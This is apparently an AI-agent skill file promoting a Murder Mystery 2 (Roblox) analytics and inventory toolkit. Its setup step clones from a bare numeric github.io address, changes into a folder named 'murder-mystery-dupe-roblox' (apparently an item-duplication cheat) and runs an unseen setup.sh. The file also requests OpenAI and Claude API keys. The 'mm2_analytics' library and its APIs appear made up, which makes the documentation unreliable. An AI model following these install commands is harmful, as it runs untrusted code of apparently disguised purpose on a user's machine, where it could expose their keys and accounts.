Murder Mystery 2 inventory tracking, analytics dashboard, and gameplay optimization toolkit for Roblox
---
name: mm2-analytics-dashboard-roblox
description: Murder Mystery 2 inventory tracking, analytics dashboard, and gameplay optimization toolkit for Roblox
triggers:
- how do I track my Murder Mystery 2 inventory
- set up MM2 analytics dashboard
- analyze my Roblox MM2 knife skins collection
- configure Murder Mystery 2 stats tracker
- optimize my MM2 gamepass strategy
- run MM2 analytics and export data
- troubleshoot MM2 inventory sync issues
- generate Murder Mystery 2 performance reports
---
# MM2 Analytics Dashboard - Roblox
> Skill by [ara.so](https://ara.so) — Data Skills collection.
## Overview
The MM2 Analytics Dashboard is a comprehensive toolkit for Murder Mystery 2 (Roblox) that provides inventory management, statistical analysis, and gameplay optimization. It tracks knife skins, gamepasses, win/loss ratios, and provides AI-powered strategy insights through data visualization and pattern recognition.
**Key capabilities:**
- Automated inventory tracking and cataloging
- Real-time analytics dashboard with charts
- Strategy pattern analysis and recommendations
- Trade value predictions and optimization
- Cross-platform data synchronization
## Installation
### Automated Setup
```bash
# Clone the repository
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
# Run automated installer
chmod +x setup.sh
./setup.sh --install
```
### Manual Setup
```bash
# Install Node.js dependencies
npm install
# Install Python dependencies
python3 -m pip install -r requirements.txt
# Create data directories
mkdir -p data/collections data/exports data/logs
```
### Environment Configuration
Create a `.env` file in the project root:
```env
# API Keys (optional, for AI-powered features)
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
# Data Configuration
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
# Export Settings
EXPORT_FORMAT=json,csv
AUTO_BACKUP=true
BACKUP_INTERVAL=3600
```
## Core Commands
### Analytics Engine
```bash
# Run comprehensive analytics scan
python3 main.py --mode analytics \
--profile ${USERNAME} \
--export statistics.json \
--format json \
--verbose
# Quick inventory check
python3 main.py --mode inventory \
--scan-only \
--filter knife_skins
# Generate performance report
python3 main.py --mode report \
--type performance \
--time-range 30d \
--output ./data/exports/
```
### Inventory Management
```bash
# Sync inventory from Roblox
python3 main.py --sync-inventory \
--profile ${ROBLOX_USERNAME}
# Catalog knife skins with rarity analysis
python3 main.py --catalog knives \
--analyze-rarity \
--export-csv
# Track gamepass effectiveness
python3 main.py --track-gamepasses \
--calculate-roi
```
### Strategy Analysis
```bash
# Analyze gameplay patterns
python3 main.py --mode strategy \
--analyze-patterns \
--role sheriff
# Generate AI recommendations
python3 main.py --ai-insights \
--use-openai \
--strategy-focus aggressive
# Practice mode simulator
python3 main.py --practice \
--scenario innocent_survival \
--difficulty hard
```
## Python API Usage
### Basic Analytics Session
```python
from mm2_analytics import AnalyticsEngine, Profile, InventoryManager
# Initialize analytics engine
engine = AnalyticsEngine(
data_dir="./data/collections",
export_format="json",
verbose=True
)
# Load user profile
profile = Profile.load("mystery_solver_01")
# Scan inventory
inventory = InventoryManager(profile)
knife_skins = inventory.scan_category("knife_skins", rarity_filter=["legendary", "ancient"])
print(f"Found {len(knife_skins)} premium knife skins")
# Run analytics
results = engine.analyze(
profile=profile,
metrics=["win_rate", "role_performance", "inventory_value"],
time_range="30d"
)
# Export results
engine.export(results, "statistics_2026.json")
```
### Inventory Tracking
```python
from mm2_analytics import InventoryManager, TradeAnalyzer
# Initialize inventory manager
manager = InventoryManager(profile="MysterySolver2026")
# Track all items
inventory = manager.sync_from_roblox()
# Filter by category and rarity
legendary_knives = manager.filter(
category="knife_skins",
rarity=["legendary"],
sort_by="value"
)
# Analyze trade opportunities
trade_analyzer = TradeAnalyzer(inventory)
recommendations = trade_analyzer.get_recommendations(
strategy="maximize_value",
risk_tolerance="medium"
)
for rec in recommendations:
print(f"Trade: {rec.offer} -> {rec.receive} (Expected gain: {rec.value_delta})")
```
### Strategy Pattern Analysis
```python
from mm2_analytics import StrategyAnalyzer, GameSession
# Load game sessions
analyzer = StrategyAnalyzer(profile="mystery_solver_01")
# Analyze sheriff performance
sheriff_stats = analyzer.analyze_role(
role="sheriff",
metrics=["accuracy", "response_time", "win_rate"],
time_range="7d"
)
print(f"Sheriff Win Rate: {sheriff_stats.win_rate:.2%}")
print(f"Average Accuracy: {sheriff_stats.accuracy:.2%}")
# Get AI-powered recommendations
recommendations = analyzer.get_ai_recommendations(
current_stats=sheriff_stats,
improvement_focus=["accuracy", "map_awareness"]
)
for rec in recommendations:
print(f"- {rec.suggestion} (Expected improvement: +{rec.impact:.1%})")
```
### Data Visualization
```python
from mm2_analytics import Dashboard, ChartGenerator
# Create dashboard
dashboard = Dashboard(profile="mystery_solver_01")
# Generate performance charts
chart_gen = ChartGenerator(
data_source=dashboard.get_stats(),
chart_type="line",
metrics=["win_rate", "kills", "deaths"]
)
# Export interactive HTML dashboard
dashboard.export_html(
output_path="./data/exports/dashboard.html",
charts=[
chart_gen.win_rate_over_time(),
chart_gen.role_distribution(),
chart_gen.inventory_value_trend()
]
)
```
## Configuration
### Profile Configuration (YAML)
```yaml
# config/profiles/mystery_solver_01.yaml
profile:
username: "MysterySolver2026"
roblox_user_id: 123456789
preferred_role: "sheriff"
inventory_filter:
- category: "knife_skins"
rarity: ["legendary", "ancient", "godly"]
min_value: 1000
- category: "gamepasses"
active: true
analytics_preferences:
tracking_mode: "comprehensive"
data_refresh_rate: 30
export_format: ["csv", "json"]
enable_ai_insights: true
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
play_style: "offensive"
- name: "passive_innocent"
priority: "distraction_avoidance"
play_style: "defensive"
notification_settings:
inventory_changes: true
trade_alerts: true
performance_milestones: true
```
### Analytics Configuration (JSON)
```json
{
"analytics": {
"metrics": {
"win_rate": {
"enabled": true,
"calculation": "wins / (wins + losses)",
"time_ranges": ["7d", "30d", "all"]
},
"inventory_value": {
"enabled": true,
"currency": "robux",
"update_frequency": 3600
},
"role_performance": {
"enabled": true,
"roles": ["sheriff", "murderer", "innocent"],
"metrics": ["accuracy", "survival_time", "win_rate"]
}
},
"export": {
"auto_export": true,
"formats": ["json", "csv"],
"destination": "./data/exports/",
"compression": "gzip"
}
}
}
```
## Common Patterns
### Daily Analytics Routine
```python
from mm2_analytics import DailyAnalyzer
from datetime import datetime
def daily_analytics_routine(profile_name):
"""Run daily analytics and generate report"""
analyzer = DailyAnalyzer(profile=profile_name)
# Sync latest data
print("Syncing inventory...")
analyzer.sync_inventory()
# Calculate daily metrics
print("Calculating metrics...")
metrics = analyzer.calculate_daily_metrics()
# Generate report
report = analyzer.generate_report(
date=datetime.now().strftime("%Y-%m-%d"),
include_charts=True,
export_format="pdf"
)
# Send notifications if milestones reached
if metrics.has_milestones():
analyzer.notify_milestones(metrics.milestones)
return report
# Run daily routine
report = daily_analytics_routine("mystery_solver_01")
print(f"Daily report saved: {report.path}")
```
### Inventory Optimization
```python
from mm2_analytics import InventoryOptimizer
def optimize_inventory(profile):
"""Optimize inventory for maximum value"""
optimizer = InventoryOptimizer(profile=profile)
# Get current inventory state
current_inventory = optimizer.get_current_state()
# Identify duplicate items
duplicates = optimizer.find_duplicates()
print(f"Found {len(duplicates)} duplicate items")
# Get trade recommendations
trades = optimizer.recommend_trades(
strategy="maximize_value",
min_profit_margin=0.15,
risk_level="low"
)
# Calculate portfolio diversity
diversity_score = optimizer.calculate_diversity()
print(f"Portfolio diversity: {diversity_score:.2%}")
return {
"duplicates": duplicates,
"recommended_trades": trades,
"diversity_score": diversity_score
}
```
### AI-Powered Strategy Suggestions
```python
from mm2_analytics import AIStrategyAssistant
import os
def get_strategy_suggestions(profile, role):
"""Get AI-powered gameplay suggestions"""
assistant = AIStrategyAssistant(
openai_key=os.getenv("API_OPENAI_KEY"),
claude_key=os.getenv("API_CLAUDE_KEY")
)
# Analyze recent performance
recent_games = assistant.load_recent_games(profile, limit=50)
performance = assistant.analyze_performance(recent_games, role=role)
# Generate suggestions
suggestions = assistant.generate_suggestions(
performance_data=performance,
role=role,
improvement_areas=["map_awareness", "timing", "positioning"]
)
# Rank by expected impact
ranked_suggestions = assistant.rank_by_impact(suggestions)
return ranked_suggestions
# Get sheriff strategy tips
suggestions = get_strategy_suggestions("mystery_solver_01", "sheriff")
for i, suggestion in enumerate(suggestions[:5], 1):
print(f"{i}. {suggestion.text} (Impact: +{suggestion.expected_improvement:.1%})")
```
## Troubleshooting
### Inventory Sync Failures
```python
from mm2_analytics import InventoryManager, SyncError
try:
manager = InventoryManager(profile="MysterySolver2026")
inventory = manager.sync_from_roblox()
except SyncError as e:
print(f"Sync failed: {e}")
# Retry with fallback mode
inventory = manager.sync_from_roblox(
fallback_mode=True,
use_cache=True,
timeout=60
)
# Verify sync integrity
if manager.verify_sync():
print("Sync completed with cached data")
else:
print("Manual sync required - check Roblox connection")
```
### Data Export Issues
```bash
# Check export permissions
python3 main.py --check-permissions --directory ./data/exports/
# Force export with specific format
python3 main.py --mode analytics \
--export statistics.json \
--force \
--format json \
--validate-output
# Debug export pipeline
python3 main.py --mode analytics \
--export statistics.json \
--debug \
--log-level DEBUG \
--log-file ./data/logs/export_debug.log
```
### Performance Optimization
```python
from mm2_analytics import PerformanceOptimizer
# Optimize analytics engine
optimizer = PerformanceOptimizer()
# Enable caching for frequent queries
optimizer.enable_query_cache(max_size="500MB")
# Compress old data
optimizer.compress_historical_data(
older_than="90d",
compression="gzip"
)
# Index frequently accessed fields
optimizer.create_indexes([
"timestamp",
"profile_id",
"item_category",
"rarity"
])
# Monitor performance
stats = optimizer.get_performance_stats()
print(f"Query cache hit rate: {stats.cache_hit_rate:.2%}")
print(f"Average query time: {stats.avg_query_time_ms}ms")
```
### API Rate Limiting
```python
from mm2_analytics import RateLimiter
import time
# Configure rate limiter
limiter = RateLimiter(
max_requests_per_minute=30,
burst_limit=10
)
# Make API calls with automatic throttling
@limiter.throttle
def fetch_inventory_data(profile):
# API call implementation
pass
# Batch operations with rate limiting
profiles = ["user1", "user2", "user3"]
for profile in profiles:
try:
data = fetch_inventory_data(profile)
except limiter.RateLimitExceeded:
print(f"Rate limit reached, waiting...")
time.sleep(limiter.get_wait_time())
data = fetch_inventory_data(profile)
```
## Advanced Usage
### Custom Analytics Pipeline
```python
from mm2_analytics import Pipeline, Processor
# Define custom processing pipeline
pipeline = Pipeline()
# Add processing stages
pipeline.add_stage(Processor.normalize_data())
pipeline.add_stage(Processor.calculate_metrics())
pipeline.add_stage(Processor.apply_filters(min_value=1000))
pipeline.add_stage(Processor.aggregate_by("category"))
pipeline.add_stage(Processor.export_results("json"))
# Run pipeline
results = pipeline.run(
input_data="./data/collections/inventory.json",
output_dir="./data/exports/"
)
print(f"Pipeline completed: {results.summary}")
```
### Real-time Monitoring
```python
from mm2_analytics import LiveMonitor
import asyncio
async def monitor_gameplay():
"""Monitor live gameplay sessions"""
monitor = LiveMonitor(profile="mystery_solver_01")
await monitor.connect()
async for event in monitor.stream_events():
if event.type == "game_start":
print(f"Game started - Role: {event.role}")
elif event.type == "game_end":
print(f"Game ended - Result: {event.result}")
# Update analytics
await monitor.update_stats(event.data)
elif event.type == "inventory_change":
print(f"New item acquired: {event.item}")
# Run async monitor
asyncio.run(monitor_gameplay())
```
This skill provides comprehensive coverage of the MM2 Analytics Dashboard for AI coding agents to effectively assist developers in inventory tracking, analytics, and gameplay optimization for Murder Mystery 2 on Roblox.
Creator's repository · aradotso/data-skills